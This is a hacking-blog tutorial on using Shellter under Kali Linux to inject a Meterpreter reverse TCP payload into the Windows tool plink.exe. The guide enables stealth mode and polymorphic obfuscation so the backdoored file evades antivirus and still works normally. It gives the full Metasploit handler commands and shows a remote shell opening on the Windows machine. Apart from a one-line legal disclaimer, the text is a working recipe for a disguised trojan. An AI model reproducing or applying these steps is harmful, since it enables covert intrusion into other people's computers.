Anti-Virus Bypass With Shellter 6.0 On Kali Linux

Hello Every One Welcome To HacCoders (Information You Can Trust!).. So Today We Will Discuss Anti-Virus ByPass With Shellter.. But First Know What Is Shellter Because Many People Don't Know What is Shelter.. So Let's Start... :)

What Is Shellter..

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
It can be used in order to inject shellcode into native Windows applications (currently 32-bit applications only).

The shellcode can be something yours or something generated through a framework, such as Metasploit.
Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections (unless the user wants), adding an extra section with RWE access, and whatever would look dodgy under an AV scan.

Shellter uses a unique dynamic approach which is based on the execution flow of the target application, and this is just the tip of the iceberg.

 Shellter is not just an EPO infector that tries to find a location to insert an instruction to redirect execution to the payload. Unlike any other infector, Shellter’s advanced infection engine never transfers the execution flow to a code cave or to an added section in the infected PE file.

So enough talk, let’s see it in action!

(Note: As always, never attempt to access a system that you do not have express written permission to do so. Doing so is illegal and you could end up in jail.)

1. Download and install “shellter” ( https://www.shellterproject.com/download/ )

I saved the extracted folder to the /root/Desktop folder. You will need to make the shellter.exe file executable with the chmod command.

2. Grab “plink.exe” from Kali’s ‘usr/share/windows-binaries’ directory and copy it into the Shellter directory.

3. Change to the ‘/root/Desktop/shellter’ directory.

4. Start Shellter – type, “wine shellter.exe”

5. Enter “A” for automatic
6. At the PE Target Prompt, enter “plink.exe”
7. When prompted to enable stealth mode enter “Y”:

 

This new feature allows the backdoored file to still function as originally file. A big help for Red Team pentesters.

8. When prompted for Payloads select “L” and then “1” for Meterpreter_Reverse_TCP.
9. Enter your Kali IP address for LHOST.
10. Enter a port to use (I used 4545)

 

Shellter will then add PolyMorphic code and Obfuscate the file. When done you will see:

You will now have a ‘plink.exe’ (the shellcoded file) and ‘plink.exe.bak’ (the original file) in the Shellter directory.

11. Now we need to start a listener service on the Kali system using the same settings from above:

• start Metasploit (‘msfconsole’ in a terminal)
• use exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set lhost 192.168.1.39
• set lport 4545
• exploit

12. Copy the ‘plink.exe’ file to the Windows system:

13. Now, in Windows, If you run plink.exe from the command prompt:

It lists the help information for the file, but does not trigger the remote shell yet. But if we actually use plink to connect to another system (a Raspberry Pi) as seen below:

 

Notice we get the Raspberry Pi ssh login prompt through Plink, but we also get a remote session to the Windows box:

 

We can run “sysinfo” to view information about the computer:

 

So We Are Sucsess.. Thanks For Reading..